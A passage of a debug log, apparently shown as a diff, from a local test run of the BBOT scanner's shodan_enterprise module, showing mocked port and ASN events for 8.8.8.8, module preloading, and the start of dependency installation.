module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:43:48,540 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:43:48,541 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:43:48,541 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:43:48,542 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:43:48,542 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:43:48,543 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:43:48,543 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 16:43:48,544 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:43:48,544 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:43:48,544 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:43:48,545 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:43:48,545 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:43:48,546 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:43:48,546 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:43:48,547 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:43:48,547 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:43:48,548 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:43:48,548 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-03-01 16:43:48,629 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:43:48,630 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:43:48,631 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:43:48,631 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:43:48,632 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:43:48,632 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:43:48,633 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-03-01 16:43:48,633 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:43:48,633 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-01 16:43:48,634 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-01 16:43:48,634 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-01 16:43:48,635 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-01 16:43:48,636 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-03-01 16:43:48,636 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-01 16:43:48,637 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-01 16:43:48,637 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-01 16:43:48,737 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-01 16:43:48,738 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-03-01 16:43:48,757 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-01 16:43:48,758 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-01 16:43:48,758 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-01 16:43:48,765 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-01 16:43:48,766 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-03-01 16:43:48,767 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-01 16:43:48,768 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-03-01 16:43:48,768 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-03-01 16:43:48,769 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-03-01 16:43:48,883 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_6kkmyclhgd completed in 0 seconds with status FINISHED +2026-03-01 16:43:48,884 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-01 16:43:48,885 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:43:48,886 [CRITICAL] bbot test_module_shodan_enterprise.py:57 Found 1 ASN events +2026-03-01 16:43:48,886 [HUGEINFO] bbot test_module_shodan_enterprise.py:63 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} +2026-03-01 16:43:48,887 [CRITICAL] bbot test_module_shodan_enterprise.py:72 Found 0 TECHNOLOGY events +2026-03-01 16:43:48,887 [HUGEINFO] bbot test_module_shodan_enterprise.py:75 Technologies: [] +2026-03-01 16:52:34,774 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-03-01 16:52:34,784 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-03-01 16:52:34,785 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-03-01 16:52:34,785 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-03-01 16:52:34,786 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-03-01 16:52:34,787 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-03-01 16:52:34,788 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-03-01 16:52:34,788 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-03-01 16:52:34,789 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-03-01 16:52:34,789 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-03-01 16:52:34,791 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-03-01 16:52:34,791 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-03-01 16:52:34,792 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-03-01 16:52:34,793 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-03-01 16:52:34,794 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-03-01 16:52:34,795 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-03-01 16:52:34,795 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-03-01 16:52:34,796 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-03-01 16:52:34,797 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-03-01 16:52:34,797 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-03-01 16:52:34,798 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-03-01 16:52:34,799 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-03-01 16:52:34,799 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-03-01 16:52:34,800 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-03-01 16:52:34,801 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-03-01 16:52:34,801 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-03-01 16:52:34,802 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-03-01 16:52:34,803 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-03-01 16:52:34,804 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-03-01 16:52:34,805 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-03-01 16:52:34,805 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-03-01 16:52:34,806 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-03-01 16:52:34,806 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-03-01 16:52:34,807 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-03-01 16:52:34,808 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-03-01 16:52:34,809 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-01 16:52:34,809 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-01 16:52:34,810 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-01 16:52:34,811 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-01 16:52:34,811 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-01 16:52:34,813 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-01 16:52:34,814 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-01 16:52:34,816 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-01 16:52:34,817 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-01 16:52:34,818 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-01 16:52:34,819 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-01 16:52:34,820 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-01 16:52:34,821 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-01 16:52:34,822 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-01 16:52:34,823 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-01 16:52:34,824 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-01 16:52:34,824 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-03-01 16:52:34,825 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-03-01 16:52:34,826 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-03-01 16:52:34,827 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-03-01 16:52:34,827 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-03-01 16:52:34,828 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-03-01 16:52:34,829 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-03-01 16:52:34,830 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-03-01 16:52:34,830 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-03-01 16:52:34,831 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-03-01 16:52:34,832 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-03-01 16:52:34,832 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-03-01 16:52:34,833 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-03-01 16:52:34,838 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-03-01 16:52:34,839 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-03-01 16:52:34,840 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-03-01 16:52:34,840 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-03-01 16:52:34,842 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-03-01 16:52:34,842 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-03-01 16:52:34,843 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-03-01 16:52:34,843 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-03-01 16:52:34,844 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-03-01 16:52:34,845 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-03-01 16:52:34,845 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-03-01 16:52:34,846 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-03-01 16:52:34,847 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-03-01 16:52:34,848 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-03-01 16:52:34,849 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-03-01 16:52:34,850 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-03-01 16:52:34,850 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-03-01 16:52:34,851 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-03-01 16:52:34,851 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-03-01 16:52:34,852 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-03-01 16:52:34,853 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-03-01 16:52:34,853 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-03-01 16:52:34,854 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-03-01 16:52:34,854 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-03-01 16:52:34,855 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-03-01 16:52:34,856 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-03-01 16:52:34,861 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-03-01 16:52:34,862 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-03-01 16:52:34,863 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-03-01 16:52:34,864 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-03-01 16:52:34,865 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-03-01 16:52:34,866 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-03-01 16:52:34,866 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-03-01 16:52:34,867 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-03-01 16:52:34,868 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-03-01 16:52:34,868 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-03-01 16:52:34,869 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-03-01 16:52:34,870 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-03-01 16:52:34,871 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-03-01 16:52:34,872 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-03-01 16:52:34,873 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-03-01 16:52:34,873 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-03-01 16:52:34,874 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-03-01 16:52:34,874 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-03-01 16:52:34,875 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-03-01 16:52:34,875 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-03-01 16:52:34,876 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-03-01 16:52:34,876 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-03-01 16:52:34,877 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-03-01 16:52:34,878 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-03-01 16:52:34,879 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-03-01 16:52:34,879 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-03-01 16:52:34,880 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-03-01 16:52:34,881 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-03-01 16:52:34,882 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-03-01 16:52:34,883 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-03-01 16:52:34,883 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-03-01 16:52:34,884 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-03-01 16:52:34,885 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-03-01 16:52:34,885 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-03-01 16:52:34,886 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-03-01 16:52:34,886 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-03-01 16:52:34,887 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-03-01 16:52:34,888 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-03-01 16:52:34,888 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-03-01 16:52:34,889 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-03-01 16:52:34,890 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-03-01 16:52:34,890 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-03-01 16:52:34,891 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-03-01 16:52:34,892 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-03-01 16:52:34,892 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-03-01 16:52:34,893 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-03-01 16:52:34,894 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-03-01 16:52:34,894 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-03-01 16:52:34,895 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-03-01 16:52:34,895 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-03-01 16:52:34,896 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-03-01 16:52:34,896 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-03-01 16:52:34,897 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-03-01 16:52:34,898 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-03-01 16:52:34,899 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-03-01 16:52:34,899 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-03-01 16:52:34,900 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-03-01 16:52:34,901 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-03-01 16:52:34,901 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-03-01 16:52:34,902 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-03-01 16:52:34,902 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-03-01 16:52:34,903 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-03-01 16:52:34,904 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-03-01 16:52:34,905 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-03-01 16:52:34,905 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-03-01 16:52:34,906 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-03-01 16:52:34,906 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-03-01 16:52:34,907 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-03-01 16:52:34,908 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-03-01 16:52:34,908 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-03-01 16:52:34,909 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-03-01 16:52:34,909 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-03-01 16:52:34,910 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-03-01 16:52:34,910 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-03-01 16:52:34,911 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-03-01 16:52:34,912 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-03-01 16:52:34,912 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-03-01 16:52:34,913 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-03-01 16:52:34,913 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-03-01 16:52:34,914 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-03-01 16:52:36,024 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:52:36,024 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:52:36,025 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-01 16:52:36,163 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-01 16:52:36,763 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-01 16:52:36,763 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-01 16:52:36,764 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-01 16:52:36,764 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-01 16:52:36,979 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-01 16:52:36,980 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-01 16:52:37,090 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-01 16:52:37,090 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-01 16:52:37,144 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-03-01 16:52:37,147 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-01 16:52:37,147 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-03-01 16:52:37,583 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-01 16:52:37,584 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-01 16:52:44,001 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-03-01 16:52:44,001 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-01 16:52:44,002 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 